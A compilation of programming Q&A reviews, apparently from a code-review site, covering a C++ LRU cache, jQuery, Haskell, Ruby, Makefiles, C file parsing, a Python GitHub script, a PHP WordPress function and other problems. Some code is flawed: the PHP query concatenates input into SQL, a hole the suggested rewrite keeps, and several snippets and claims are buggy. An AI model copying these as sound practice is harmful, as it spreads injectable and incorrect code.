    if (m_pageMap.find(key) == m_pageMap.end()) {
        return -1;
    }
    Value value = m_pageMap[key]->val;

    // move the page to front
    m_pageList->Move_Page_To_Front(m_pageMap[key]);
    return value;
}

void put(Key key,Value value) {
    if (m_pageMap.find(key) != m_pageMap.end()) {
        // if key already present, update value and move page to head
        m_pageMap[key]->val = value;
        m_pageList->Move_Page_To_Front(m_pageMap[key]);
        return;
    }

    if (m_currentSize == m_capacity) {
        //remove rear page
        Key k = m_pageList->Get_Rear_Page()->key;
        m_pageMap.erase(k);
        m_pageList->remove_Page_From_Rear();
        m_currentSize--;
    }

    //add new page to front
    std::shared_ptr<Node<Key, Value>> page = m_pageList
    ->Insert_Page_At_Front(key,value);
    m_currentSize++;
    m_pageMap[key] = page;
  }

 };

Code simplification

You don't need to use a custom linked list here. std::list will do fine, too.

You can keep the pairs (key, value) in an std::list and store a mapping from keys to iterators in this list in an std::unordered_map.

Passing by const reference

Passing keys and values by value creates an extra copy, which may be expensive. You can pass them by a const reference to avoid it.

Comments

Redundant comments clutter the code and hurt its readability, for instance:

// move the page to front
m_pageList->Move_Page_To_Front(m_pageMap[key]);

Delete this kind of comments.

API design

if (m_pageMap.find(key) == m_pageMap.end()) {
    return -1;
}

Returning -1 is a terrible idea. Firstly, -1 can be a valid value. Secondly, it won't compile for an arbitrary type of values, so it makes the use of your cache extremely limited.

Here're several ways to fix it:

Change the return type to std::optional<Value>. It works with C++17 only, but you can use boost::optional<Value> with earlier version of the standard.
If neither C++ 17 nor boost is available, you can return something that can either contain a value or be empty (like a smart pointer to a Value).
You can throw an exception if the key is missing.
You can insert a default value for the key and return it.

I prefer the first option as the optional type accurately reflects what may happen: there's either a value or nothing.


Mark rows with identical values in a table I have an simple algorithm which marks table rows with identical entries blue.  The problem is that this solution takes a lot of time.

Has anyone an idea how to improve the speed of this?

$(document).ready(function(){
   var tableRows = $("#sortable tbody tr");
   tableRows.each(function(n){
      var id = $(this).attr('id');
      var example = $(this).children('#example').children('#content').html();

      tableRows.each(function(n){
         if($(this).attr('id') != id)
         {
            if ($(this).children('#example').children('#content').html() == example)
            {
               $(this).css('backgroundColor', 'azure');
            }
         }
      });
   });
});

My table looks like this:

         Digitcode

test

Without making algorithmic changes, we can still make some performance improvements:

$(document).ready(function() {
    var $tableRows = $("#sortable tbody tr");
    var $rowsToMark = $();

    $tableRows.each(function(n) {
        var id = this.id;
        var example = $(this).find('.content').html();

        $tableRows.each(function(n) {
            var $this;
            if (this.id != id) {
                $this = $(this);
                if ($this.find('.content').html() == example) {
                    $rowsToMark.add($this);
                }
            }
        });
    });

    $rowsToMark.css('backgroundColor', 'azure');
});

If you really want to start optimizing (I seriously doubt it's worth it, though) you could take a dynamic programming approach and do some caching. For instance:

You really don't need to call .html() on any given row more than once. Start by getting the HTML of each row and store it, then you can compare by iterating over those HTML strings rather, than the DOM elements.
If you have already determined that rows A and B are equal, you only need to compare row C against either A or B.
(other things I haven't yet thought of)

General jQuery performance/optimization information:

https://stackoverflow.com/questions/3230727/jquery-optimization-best-practices
https://stackoverflow.com/questions/6028555/jquery-selector-optimization
And many others


Euler 1 but pointless I've been teaching myself basic haskell this week in order to be able to better read literature about functional programming (about 80% of which in haskell by my completely off-the-cuff statistic). Just as a check to make sure I got the basic concepts, here is how I answered Project Euler 1.

divisible :: Integral a => a -> a -> Bool
divisible x y = mod y x == 0

-- do any of the predicates match a value
any' :: [a -> Bool] -> a -> Bool
any' predicates match = any ($ match) predicates

euler1 :: Integral a => [a] -> a
euler1 xs = sum . filter (any' [divisible 3, divisible 5]) xs

euler1' = euler1 [1..999]

I opted to describe how the answer is defined (as seems to be the way FP works) as opposed to find a faster solution, as this was an exercise in idiomatic FP and haskell.

Since this is supposed to be a practice in idiomatic haskell, point free seems to be the way to go:

-- with the same type definitions
divisible = ((==) 0 .) . flip mod
any' = flip (any . flip id)
euler1 = sum . filter $ any' [divisible 3, divisible 5]

The main purpose of this review is this: which definition of each of these functions is the most idiomatic haskell? Along those lines, this is not supposed to be reinventing-the-wheel, and if a Prelude or stdlib solution to divisible or any' exists, they should be replaced with the stdlib version.

I admit that tools were used in the process of creating the pointfree version. With divisible I think I fully understand the composition (f . . g === f ( g ( arg, arg ) )), but I'd be fecetious in saying I fully understood the pointfree formulation of any'. That may effect the best solution for me, but I'm interested mostly in idiomatic, readable (to more veteran haskellers) code.

Since this is supposed to be a practice in idiomatic haskell, point free seems to be the way to go

Ah, but point-free Haskell isn't idiomatic in general. Just compare both variants of divisible:

divisible x y = y `mod` x == 0
divisible = ((==) 0 .) . flip mod

The point-free variant is not only harder to read, but even longer, and I've already used infix-mod to increase the pointful version by two characters. The same holds for any, although the original variable names where a little bit long:

any' p m = any ($ m) p
any' = flip (any . flip id)

The point-free version of euler1 is perfectly fine. It's also the most natural one to do by hand, since \x -> f $ g x is f . g, and euler1 follows exactly that style. Defining new functions by combinatiing old ones is great if you have that style of function, e.g.

foo x = bar $ quux $ fox $ tango $ x
foo = bar . quux . fox . tango

But as soon as a second parameter gets involved, it gets a lot more trickier. And as always, the best code is not worth it, if you cannot understand it later on. Haskell's referential transparency makes that a lot easier, but if you need to sit down and check how flip (any . flip id) works, it's a good call to use \p m -> any ($m) p.

In the end, it boils down to your personal choice. I would have used a list comprehension, because  it's still easy to read, but it's only a syntactic sugar variant of your filter:

euler1 xs = sum [x | x <- xs, x `rem` 3 == 0 || x `rem` 5 == 0]

  I opted to describe how the answer is defined (as seems to be the way FP works) as opposed to find a faster solution

Just for completeness, have a look at the inclusion-exclusion principle, and try to solve Euler1 in Haskell (or another language).

  but I'd be fecetious in saying I fully understood the pointfree formulation of any'.

flip (any . flip id) p m
  = (any . flip id) m p
  = ((any . flip id) m) p
  = (any (flip id m)) p -- see remark below
  = (any ($ m)) p
  = any ($ m) p

id      :: (a -> b) -> a -> b
flip id :: a -> (a -> b) -> b
($)     :: a -> (a -> b) -> b

But the flipless version is easier to understand.

  That may effect the best solution for me, but I'm interested mostly in idiomatic, readable (to more veteran haskellers) code.

Any veteran will tell you that the first version is more readable. They will understand the latter, but after all, both versions do exactly the same.


Bank ATM machine in Ruby I've made a simple implementation of a bank ATM machine in pure Ruby. I'd like to hear some recommendations to make my code more idiomatic.

atm.rb

This is the startup file. I didn't use a class and I'm getting the user input using  gets.chomp and a case statement for the flow control.

require_relative 'account'

account = Account.new

loop do
  puts "What you want to do?\n1- Deposit\n2- Withdraw\n3- Check balance\n4- Check statement\n5- Exit"
  option = gets.chomp
  case option
  when '1'
    puts "How many dollars do you want to deposit?"
    amount = gets.chomp.to_f
    account.deposit(amount)
  when '2'
    puts "How many dollars do you want to withdraw?"
    amount = gets.chomp.to_f
    account.withdraw(amount)
  when '3'
    puts "You have #{account.balance} USD."
  when '4'
    puts account.statement.join("\n")
  when '5'
    break
  else
    "Wrong option. Try again."
  end
end

account.rb

I used an array to store the transactions. To check the balance, I'm iterating through the array using the inject function.

require_relative 'transaction'

class Account
  def initialize
    @transactions = []
  end

  def balance
    @transactions.inject(0) { |sum, transaction| sum + transaction.value }
  end

  def deposit(amount)
    add_transaction(amount, :deposit)
  end

  def withdraw(amount)
    add_transaction(amount, :withdraw)
  end

  def statement
    @transactions.map { |transaction| transaction.to_s }
  end

  private
  attr_accessor :transactions

  def add_transaction(amount, type)
    @transactions << Transaction.new(amount, type)
  end
end

transaction.rb

This is the transaction class. I don't know if it's ok to validate the constructor parameters the way I did.

class Transaction
  attr_accessor :amount, :type, :timestamp

  def initialize(amount, type)
    raise 'Invalid type' unless POSSIBLE_TYPES.include? type
    @amount = amount
    @type = type
    @timestamp = Time.now.getutc
  end

  def value
    return @amount if type == :deposit
    -@amount
  end

  def to_s
    "#{@timestamp} - #{type} - #{amount} USD"
  end

  private
  POSSIBLE_TYPES = [:deposit, :withdraw]
end

I'm aware that I'm not validating the user input type or value, I'm ok with that.

See it running in repl.it.

This is my first review, so please bear with me. I'll start with atm.rb:

require_relative 'account'

account = Account.new

loop do
  # This is totally opinion, but I think doing this by joining a string array looks neater.
  # puts "What you want to do?\n1- Deposit\n2- Withdraw\n3- Check balance\n4- Check statement\n5- Exit"
  puts "What you want to do?"
  options = [
    "1- Deposit",
    "2- Withdraw",
    "3- Check balance",
    "4- Check statement",
    "5- Exit"
  ]
  puts options.join("\n")
  # These two lines can be condensed into one
  # option = gets.chomp
  # case option
  case gets.chomp
  when '1'
    puts "How many dollars do you want to deposit?"
    # You could merge these lines into account.deposit(get.chomp.to_f)
    amount = gets.chomp.to_f
    account.deposit(amount)
  when '2'
    puts "How many dollars do you want to withdraw?"
    # You could merge these lines into account.withdraw(get.chomp.to_f)
    amount = gets.chomp.to_f
    account.withdraw(amount)
  when '3'
    puts "You have #{account.balance} USD."
  when '4'
    puts account.statement.join("\n")
  when '5'
    break
  else
    "Wrong option. Try again."
  end
end

This is generally fine, just a couple things that I'd prefer for readability. I have larger ideas for structure for the other two files.

For the Transaction class, you really don't need the @type instance variable if it can only be :deposit or :withdraw. You can really just make that information be held in the sign of @amount. If @amount > 0, it's a deposit, and if @amount < 0 it's a withdraw. So, with that in mind, here's my revised version:

class Transaction
  # This was an attr_accessor. These attributes don't need to be editable, only readable.
  attr_reader :amount, :timestamp

  def initialize(amount)
    @amount = amount.to_f
    @timestamp = Time.now.getutc
  end

  def to_s
    # @amount is an instance variable, and so I added the "@" before it
    # You don't really need type here, but if you want it, use the next line:
    type = @amount > 0 ? "deposit" : "withdraw"
    "#{@timestamp} - #{type} - #{@amount} USD"
  end
end

And now, we move to the final file, account.rb:

require_relative 'transaction'

class Account
  def initialize
    @transactions = []
  end

  def balance
    # With our modifications to Transaction, we can do this more simply
    # @transactions.inject(0) { |sum, transaction| sum + transaction.value }
    @transactions.map(&:amount).sum
  end

  # In the next 2 methods, we don't to pass type anymore.
  # We can also remove the private add_transaction method, because it doesn't really serve any purpose. If you wanted to modify the transaction creation process, you should do it in Transaction#initialize.
  # I've also added optional type handling, for fun

  def deposit(amount)
    # add_transaction(amount, :deposit)
    @transactions << Transaction.new(amount)
  end

  def withdraw(amount)
    # add_transaction(amount, :withdraw)
    @transactions << Transaction.new(-amount)
  end

  def statement
    # This can be simplified with the map(&:to_s) syntax
    # @transactions.map { |transaction| transaction.to_s }
    @transactions.map(&:to_s)
    # You may also want to make the call to #join here, instead of in the main loop, because a statement sounds like it should be a string.
  end
end

Edit:

You could also get rid of the Transaction#to_s method and instead modify the Account#statement method to be:

class Account
  def statement
    @transactions.map do |t|
      type = t.amount > 0 ? "deposit" : "withdraw"
      "#{t.timestamp} - #{type} - #{t.amount} USD"
      # Personally, I like the extra line for readability, but
      # you could also write it as:
      # "#{t.timestamp} - #{t.amount > 0 ? 'deposit' : 'withdraw'} - #{t.amount} USD"
    end
  end
end


Simplifying a Makefile I have a makefile like the one below and I am trying to simplify it. I know I should be assigning variables to cut down on repeated things but I am still confused as to how to properly simplify this as small as possible.

    #
# Linux makefile
# Use with make
#

.SUFFIXES:
.SUFFIXES: .o .asm .cpp .c

AS=nasm
ASFLAGS= -f elf
CFLAGS=
CC=gcc
CXX=g++
CXXFLAGS=

.asm.o:
    $(AS) $(ASFLAGS) $*.asm

.cpp.o:
    $(CXX) -c $(CXXFLAGS) $*.cpp

.c.o:
    $(CC) -c $(CFLAGS) $*.c

all: prime math sub1 sub2 sub3 sub4 sub5 sub6 first memex dmaxt asm_io.o fprime quadt test_big_int

prime: driver.o prime.o asm_io.o
    $(CC) $(CFLAGS) -oprime driver.o prime.o asm_io.o

math : driver.o math.o asm_io.o
    $(CC) $(CFLAGS) -omath driver.o math.o asm_io.o

first : driver.o first.o asm_io.o
    $(CC) $(CFLAGS) -ofirst driver.o first.o asm_io.o

sub1 : driver.o sub1.o asm_io.o
    $(CC) $(CFLAGS) -osub1 driver.o sub1.o asm_io.o

sub2 : driver.o sub2.o asm_io.o
    $(CC) $(CFLAGS) -osub2 driver.o sub2.o asm_io.o

sub3 : driver.o sub3.o asm_io.o
    $(CC) $(CFLAGS) -osub3 driver.o sub3.o asm_io.o

sub4 : driver.o sub4.o main4.o asm_io.o
    $(CC) $(CFLAGS) -osub4 driver.o sub4.o main4.o asm_io.o

sub5 : main5.o sub5.o asm_io.o
    $(CC) $(CFLAGS) -osub5 main5.o sub5.o asm_io.o

sub6 : main6.o sub6.o
    $(CC) $(CFLAGS) -osub6 main6.o sub6.o

asm_io.o : asm_io.asm
    $(AS) $(ASFLAGS) -d ELF_TYPE asm_io.asm

array1 : driver.o array1.o array1c.o
    $(CC) $(CFLAGS) -oarray1 array1.o array1c.o asm_io.o

memex : memex.o memory.o
    $(CC) $(CFLAGS) -omemex memex.o memory.o

dmaxt : dmaxt.o dmax.o
    $(CC) $(CFLAGS) -odmaxt dmaxt.o dmax.o

quadt : quadt.o quad.o
    $(CC) $(CFLAGS) -oquadt quadt.o quad.o

readt : readt.o read.o
    $(CC) $(CFLAGS) -oreadt readt.o read.o

fprime : fprime.o prime2.o
    $(CC) $(CFLAGS) -ofprime fprime.o prime2.o

test_big_int : test_big_int.o big_int.o big_math.o
    $(CXX) $(CXXFLAGS) -otest_big_int test_big_int.o big_int.o big_math.o

big_int.o : big_int.hpp

test_big_int.o : big_int.hpp

first.o : asm_io.inc first.asm

sub1.o : asm_io.inc

sub2.o : asm_io.inc

sub3.o : asm_io.inc

sub4.o : asm_io.inc

main4.o : asm_io.inc

driver.o : driver.c

clean :
    rm *.o

If you are using GNU Make, you can simplify

prime: driver.o prime.o asm_io.o
    $(CC) $(CFLAGS) -oprime driver.o prime.o asm_io.o

to

prime: driver.o prime.o asm_io.o

and a generic target building rule

%: %.o
    $(CC) $(CFLAGS) -o $@ $?

Most of the other targets can be similarly simplified.

math : driver.o math.o asm_io.o

first : driver.o first.o asm_io.o

sub1 : driver.o sub1.o asm_io.o

The generic target building rule will take care of building the executables from the dependent .o files.


Averaging numbers from a file, obeying Single Responsibility Principle Task:

  Given comma_separated.txt file with string:

1,2,3,4,5,6,7,8,9,10,11,12...,n

  Calculate the average value.

  For example: 1,2,3 should be equal 2 (float) as result.

Here is my solution in C:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int element_counter;
float* all_elements;

void mark_element_as_read() {
  element_counter += 1;
}

int get_number_of_read_elements() {
  return element_counter;
}

float* expand_array_stack_for(float* elements) {
  return realloc(elements, get_number_of_read_elements() * sizeof(elements));
}

void append_float(float element) {
  all_elements = expand_array_stack_for(all_elements);
  all_elements[get_number_of_read_elements()] = element;
}

float* get_collection() {
  return all_elements;
}

float* read_from_file(char* filename) {
  FILE *file_opened;

  file_opened = fopen(filename, "r");
  char elements[255];
  char * element;

  while (fgets(elements, sizeof(elements), file_opened) != NULL) {
    element = strtok(elements, ",");

    while (element != NULL) {
      append_float(strtof(element, NULL));
      mark_element_as_read();
      element = strtok(NULL, ",");
    }
  }

  free(element);
  fclose(file_opened);

  return get_collection();
}

int main() {
  float sum = 0.0, average;
  float *elements = read_from_file("comma_separated.txt");
  int i = 0;

  for (i = 0; i < get_number_of_read_elements(); i++) {
    sum += elements[i];
  }

  average = sum / get_number_of_read_elements();

  printf("average = %f\n", average);

  return 0;
}

This is my very first time coding in C. I used to code in Ruby, Java and PHP, so maybe this code would be a little bit "high leveled".

Things you can improve

Variables/Initialization

Floating-point math is challenging in surprising places.  It's easy to write down a reasonable algorithm that introduces 0.01% error on every step, which over 1,000 iteration turns the results into complete slop.  You can easily find volumes filled with advice about how to avoid such surprises.  Much of it is valid today, but much of it is easy to handle quickly:  use double instead of float, and for intermediate values in calculations, it doesn't hurt to use long double.

The problem is how many bits each type uses to store significant digits.  float uses 32 bits, and double uses 64 bits.  64 bits is enough to reliably store 15 significant digit, which is plenty in order to solve all of our floating-point problems for now. All we had to do was throw twice as much space at the problem, and suddenly all sorts of considerations are basically irrelevant.  Even if there is a perceptible speed difference between a program written with all doubles and one written with all floats, it's worth extra microseconds to be able to ignore so many caveats.
Don't use global variables.

int element_counter;
float* all_elements;

The problem with global variables is that since every function has access to these, it becomes increasingly hard to figure out which functions actually read and write these variables.

To understand how the application works, you pretty much have to take into account every function which modifies the global state. That can be done, but as the application grows it will get harder to the point of being virtually impossible (or at least a complete waste of time).

If you don't rely on global variables, you can pass state around between different functions as needed. That way you stand a much better chance of understanding what each function does, as you don't need to take the global state into account.

So instead of using global variables, initialize the variables in main(), and pass them as arguments to functions if necessary.

Standards

strtok is limited to tokenizing only one string (with one set of delimiters) at a time, and it can't be used while threading.  Therefore, strtok is considered deprecated.

Instead, use strtok_r or strtok_s which are threading-friendly versions of strtok.  The POSIX standard provided strtok_r, and the C11 standard provides strtok_s.  The use of either is a little awkward, because the first call is different from the subsequent calls.

The first time you call the function, send in the string to be parsed as the first argument.
On subsequent calls, send in NULL as the first argument.
The last argument is the scratch string.  You don't have to initialize it on first use; on subsequent uses it will hold the string as it is parsed so far.

To demonstrate its use, I've written a simple line counter (of only non-blank lines) using the POSIX standard one.  I'll leave the choice of what version to use and implementation into your program up to you.

#include <string.h> // strtok_r

int countLines(char* instring)
{
    int counter = 0;
    char *scratch, *txt;
    char *delimiter = "\n";
    for (; (txt = strtok_r((!counter ? instring : NULL), delimiter, &scratch)); counter++);
    return counter;
}

If you implement this, you have your question answered.

  Also, in my use of strtok(), what should I be doing with the balance
  of the string after the delimiter? Is that hanging out in memory
  somewhere?

It's not hanging out in memory, it's in the scratch string you provided.
You don't have to return 0 at the end of main(), just like you wouldn't bother putting return; at the end of a void-returning function. The C standard  knows how frequently this is used, and lets you not bother.

  C99 & C11 §5.1.2.2(3)

  ...reaching the } that terminates the main() function returns a
  value of 0.

Syntax/Styling

Put the variable declarations to separate lines.

float sum = 0.0, average;

From Code Complete, 2d Edition, p. 759:

  With statements on their own lines, the code reads from top to bottom,
  instead of top to bottom and left to right. When you’re looking for a
  specific line of code, your eye should be able to follow the left
  margin of the code. It shouldn’t have to dip into each and every line
  just because a single line might contain two statements.

Use strtod() instead of strtof(). (This goes with my point about double vs. float).
Declare your parameters as void if you don't take in any arguments in your methods.

int main(void)

You can simplify your NULL checks.

while(element)  // same as while (element != NULL)

Initialize i inside of your for loops.(C99)

for (int i = 0; i < get_number_of_read_elements(); i++)


Pushing local repository to remote repository using python Github The code should do the following in order:

It should download/clone the public Github repository locally.
It should remove all the git history (and branches)
Use the Github API to create a new Github repository initialized with the input github repository content that you downloaded locally. The new repository should be named using name supplied.
I am able to do steps 1 and 3 but asks for log-in 2 times. I am not able to initialize the new remote repo with local repo. local_repo = repo1 how? And removing git history? where can I find git history in the cloned repo.

import git,os,tempfile,os,fnmatch,sys
from github import Github

username = sys.argv[1]
password = sys.argv[2]
input_repo_url = sys.argv[3]
output_repo_name = sys.argv[4]

tempdir=tempfile.mkdtemp(prefix="",suffix="")
predictable_filename = "myfile"
saved_umask = os.umask(77)

path = os.path.join(tempdir,predictable_filename)
print("Cloning the repository at "+path)

local_repo = git.Repo.clone_from(input_repo_url,path, branch="master")
print("Clone successful!")

g = Github(username,password)
user = g.get_user()
repo1 = user.create_repo(output_repo_name)
print("New repository created at "+username+" account ")
print(repo1)

target_url = "https://github.com/"+username+"/"+output_repo_name+".git"
print(target_url)

print("Pushing cloned repo to target repo")
local_repo.create_remote("new",url=target_url)
local_repo.git.push("new")
print("Success!!")

Octal permission fields
77

is likely incorrect. What you've written is 77 in decimal, but this would work out to 115 in octal. If you wanted 077 in octal, you would actually need to write 0o077.
Pathlib
Consider replacing os.path with use of pathlib.
Argument parsing
The argv parsing that you've done is fragile - it will fail with an invalid-index exception if the user provides insufficient parameters. Consider using argparse instead.
Also: do not ask for a password as part of a command line, since it will be stored in the user's shell history. Accept it from an environmental variable, a secure wallet, or from stdin via getpass (not input).
String interpolation
"https://github.com/"+username+"/"+output_repo_name+".git"

is more easily written as
f'https://github.com/{username}/{output_repo_name}.git'


How can I improve CreateGenre()  function? I use this function in my wordpress site to add genres to an album:
What is it that makes this code so bulky?
Is it have for the server or it just looks like?

/**
 * Creates a genere. If one already exists it will return an error
 * @author Junaid Qadir Baloch <shekhanzai.baloch@gmail.com>
 * @global type $wpdb
 * @param type $genreName
 * @param bool $returnFalse Return False if genre already exists insted of
 * returning setatus and message. Defaults to FALSE
 * @return type
 */
function createGenre($genreName, $returnFalse = FALSE) {
    $funtionName = __FUNCTION__;
    global $wpdb;
    $genreName = trim($genreName);
    if (empty($genreName)) {
        $status = ReturnValue::STATUS_ERROR;
        $value = "";
        $message = 'Genere name cannot be empty';
        return ReturnValue::doReturn($funtionName, $status, $value, $message);
    } elseif (!is_string($genreName)) {
        $status = ReturnValue::STATUS_ERROR;
        $value = "";
        $message = 'Genere name must be a text string';
        return ReturnValue::doReturn($funtionName, $status, $value, $message);
    }
    $genreName = ucwords($genreName);
    $genreSlug = text2Slug($genreName);
    $query = "SELECT COUNT (*) as count FROM `genres` WHERE `name`='" . $genreName . "' AND  `slug`='" . $genreSlug . "' ";
    $result = $wpdb->get_results($query);
    if ($result[0]->count <= 0) {
        $formData = array(
            'name' => $genreName,
            'slug' => $genreSlug
        );
        $result = $wpdb->insert('genres', $formData);
        if ($result) {
            $status = ReturnValue::STATUS_SUCCESS;
            $value = "";
            $message = 'Genere ' . $genreName . ' has been created.';
            return ReturnValue::doReturn($funtionName, $status, $value, $message);
        } else {
            $status = ReturnValue::STATUS_ERROR;
            $value = "";
            $message = 'Failed to create a genere as ' . $genreName . '.';
            return ReturnValue::doReturn($funtionName, $status, $value, $message);
        }
    } else {
        if ($returnFalse) {
            return FALSE;
        }
        $status = ReturnValue::STATUS_ERROR;
        $value = "";
        $message = 'Genere ' . $genreName . ' already exists.';
        return ReturnValue::doReturn($funtionName, $status, $value, $message);
    }
}

This a static class to handle return values. It provides a unified way for other functions to return values.

/**
 * ReturnValue is an helper class to handle
 * return values, status codes and messages
 * returned from different functions
 *
 * @author JQ
 */
class ReturnValue {

    const STATUS_SUCCESS = "SUCCESS";
    const STATUS_FAIL = "FAILED";
    const STATUS_OK = "OK";
    const STATUS_ERROR = "ERROR";

    public static function doReturn($funtionName, $status = NULL, $value = NULL, $message = NULL) {
        if ($status == NULL) {
            $status = self::STATUS_FAIL;
        }
        $return = array(
            action => $funtionName,
            status => $status,
            message => $message,
            returnValue => $value
        );
        return (object) $return;
    }

}

Remove global (this shouldn't need to be explained).

Your code depends on the class ReturnValue with method doReturn.  This is a tight coupling that makes it hard to test your code.  For your code to be reused you must also include the ReturnValue.  This is almost ok, when it is only 1 extra file, but it gets out of hand very quickly.

Your code has also become bloated by the error code handling.  Consider rewriting this with exceptions:

/**
 * Creates a genere. If one already exists it will return an error
 *
 * @param type $wpdb        Wordpress database?
 * @param type $genreName   What is this?
 * @return type
 */
function createGenre($wpdb, $genreName) {
    if (empty($genreName) || !is_string($genreName))
    {
       throw new InvalidArgumentException(
          // Choose either __METHOD__ or __FUNCTION__ depending if this is OO.
          __METHOD__ . ' genreName must be a non-empty string');
    }

    $genreName = ucwords($genreName);
    $genreSlug = text2Slug($genreName);
    $query = "SELECT COUNT (*) as count FROM `genres` WHERE `name`='" .
        $genreName . "' AND  `slug`='" . $genreSlug . "' ";
    $result = $wpdb->get_results($query);
    if ($result[0]->count > 0) {
       throw new RuntimeException(__METHOD__ . ' genre already exists.');
    }

    $formData = array(
       'name' => $genreName,
       'slug' => $genreSlug
       );

    $result = $wpdb->insert('genres', $formData);

    if (!$result) {
       throw new RuntimeException(
           __METHOD__ . ' failed to create genre: ' . $genreName);
    }
}

The code is a lot shorter and flatter (which makes it easier to test and maintain.  Arrow code is harder to debug, maintain and test - see here.

Here is the usage with exceptions:

try
{
   $genreName = 'slimy ';
   createGenre($wpdb, trim($genreName));

   return array('action'      => 'createGenre',
                'message'     => 'Genre ' . $genreName . ' has been created.',
                'returnValue' => '', // If needed even.
                'status'      => 'SUCCESS');
}
catch (Exception $e)
{
   return array('action'      => 'createGenre',
                'message'     => $e->getMessage(),
                'returnValue' => '', // If needed even.
                'status'      => 'ERROR',

}


Longest absolute path in file system Problem

  Suppose we abstract our file system by a string in the following
  manners:

  The string dir\n\tsubdir1\n\tsubdir2\n\t\tfile.ext represents:

dir
    subdir1
    subdir2
        file.ext

  a directory dir contains an empty sub-directories subdir1 and a sub-directory subdir2 containing a file file.ext.

  The string
  dir\n\tsubdir1\n\t\tfile1.ext\n\t\tsubsubdir1\n\tsubdir2\n\t\tsubsubdir2\n\t\t\tfile2.ext
  represents:

dir
    subdir1
        file1.ext
        subsubdir1
    subdir2
        subsubdir2
            file2.ext

  a directory dir contains two sub-directories subdir1 and subdir2. subdir1 contains a file file1.extand an empty second-level sub-directory subsubdir1. subdir2 contains a second-level sub-directory subsubdir2 containing a file file2.ext.

  We are interested in finding the longest (number of characters)
  absolute path to a file within our file system. That is, for example,
  in the second example above, the longest absolute path is
  dir/subdr2/subsubdir2/file.ext, and its length is 30.

  Given a string representing the file system in the above format,
  return the length of the longest absolute path to file in the
  abstracted file system. Simply put, that is the length of a valid path
  that ends with a file, and a file contains . and an extension.

  Time complexity required: O(n) where n is the size of the input
  string.

  Notice that a/aa/aaa/file1.txt is not the path you want, if there is
  aaaaaaaaaaaaaaaaaaaaa/sth.png.

Any advice on code bugs, performance improvements in terms of algorithm time complexity, or code style advice is highly appreciated.

def find_longest_path(source):
    items = source.split('\n')
    prefix = []
    prefix_length = []
    max_length_so_far = -1
    max_path_so_far = ''
    for path in items:
        i = 0
        while path[i] == '\t':
            i += 1
        if len(prefix) > i:
            prefix = prefix[:i]
            prefix_length = prefix_length[:i]
        prefix.append(path[i:])
        prefix_length.append(len(path[i:]))
        if sum(prefix_length) > max_length_so_far:
            max_length_so_far = sum(prefix_length)
            max_path_so_far = '/'.join(prefix)
    return max_path_so_far

if __name__ == "__main__":
    path_name = "dir\n\tsubdir1\n\t\tfile1.ext\n\t\tsubsubdir1\n\tsubdir2\n\t\tsubsubdir2\n\t\t\tfile2.ext"
    print find_longest_path(path_name)
    path_name = "dir\n\tsubdir1\n\tsubdir2\n\t\tfile.ext"
    print find_longest_path(path_name)

The problem statement indicates that path separators should be taken into account when computing the length.  You might add a test case to test for this case either by crafting a particular input or by returning the longest path along with longest count that you can verify.

Some of the code could be made more concise.

filename = path.split('\t')[-1]    # last of list, assumes no tabs in filenames
depth = len(path) - len(filename)  # yields number of tabs

Rather than repeatedly computing the sum of the paths, you could create a cumulative_sum.

cumulative_len = cumulative_len[:depth]
if depth > 0:
    # last element contains sum of entire path to depth
    # +1 to account for the preceding path separator
    cumulative_len.append(cumulative_len[-1] + len(filename) + 1)
else:
    # the problem statement does not include an initial path separator
    cumulative_len.append(len(filename))

Rather than joining the path for intermediate maximums that will be discarded, just store the list of path elements and join on final delivery.

You might consider asserting on the desired results so you get clearer feedback of failure.

def check(input, expected):
    longest_path = find_longest_path(input)
    assert input == expected, "Expected {} but got {}".format(expected, longest_path)
    print(longest_path)

if __name__ == "__main__":
    check("dir\n\tsubdir1\n\t\tfile1.ext\n\t\tsubsubdir1\n\tsubdir2\n\t\tsubsubdir2\n\t\t\tfile2.ext",
          "dir/subdir2/subsubdir2/file2.ext")

    check("dir\n\tsubdir1\n\tsubdir2\n\t\tfile.ext",
          "dir/subdir2/file.ext")


Why is this code to paste into a DataGridView so slow? string s = Clipboard.GetText().Replace("\r", " ");
string[] lines = s.Split('\n');
int row = dgView.CurrentCell.RowIndex;
int col = dgView.CurrentCell.ColumnIndex;
int linesCount = lines.Count();
if ((row + linesCount) - dgView.RowCount > 0) dgView.Rows.Add((row + linesCount) - dgView.RowCount);

asyncSqlResultsViewer.publicToolStripProgressBar.Maximum = linesCount;
asyncSqlResultsViewer.publicToolStripProgressBar.Step = 1;
asyncSqlResultsViewer.publicToolStripProgressBar.Visible = true;
dgView.ReadOnly = true;

foreach (string line in lines)
{
    if (line.Length > 0)
    {
        string[] cells = line.Split('\t');
        for (int i = 0; i < cells.GetLength(0); ++i)
        {
            if (col + i < dgView.ColumnCount)
            {
                dgView[col + i, row].Value = cells[i];
            }
            else
            {
                break;
            }
        }
        row++;
    }
    else
    {
        break;
    }
    asyncSqlResultsViewer.publicToolStripProgressBar.PerformStep();
}

It is ridiculously slow. Pasting 500 rows with 5 columns takes about 30 seconds. Please take into consideration that there might be already data in the DataGridView and I don't necessarily want to override it (it all depends on the starting cell). So I don't know how could I use a DataTable and assign it as DataSource in case you had that idea.

I wasn't convinced that the code per se, besides what could be done to improve it, would take this long under 'normal' circumstances. I thought I'd actually test this myself before bed and so threw something together, here's what I did...

I created a WinForms application with the appropriate controls and then used a Stopwatch, only modifying your code (forgetting names of controls) by placing it in a method named PasteData which returned lineCount:

private readonly Stopwatch stopWatch = new Stopwatch();

private int PasteData()
{
    //Your code.
}

private void dataGridView_KeyDown(object sender, KeyEventArgs e)
{
    if (e.Control && e.KeyCode == Keys.V)
    {
        int linesExisting = dataGridView.RowCount;
        stopWatch.Restart();
        int linesPasted = PasteData();
        stopWatch.Stop();
        TimeSpan timeElapsed = stopWatch.Elapsed;

        //UI Updates.
    }
    e.Handled = true;
}

I fired up excel and created 700+ rows of data; 5 columns of random text pasted repeatedly:

  Axdcfg vkhjbkljhgvf hghbjkl;jbhg vguyhjknjhbgvyhjknb hkghjlkh,njjk;olkm,nhn
  ghvbnmkl;kknjbhvghcgv gbhnmkknkjhbghfvghjkljhgfvhjklhbgvhkjlmnjbhgfcfgyhjknlmnn
  ghvjbkmjnhyuiytui89766890i09u8y675tfvghbjnmkl,;m,nbhh
  tf678cfghjbkm,.g90u87ygybihuionjhgvfctfygyuhio;jolkkjnhbvfc
  iouy43212345678987654321234567890009876543212w3erfghgfdffcv

I then copied the whole collection from the clipboard and proceeded to flood our application with it up to a count of almost 300,000 rows, and here are the results:

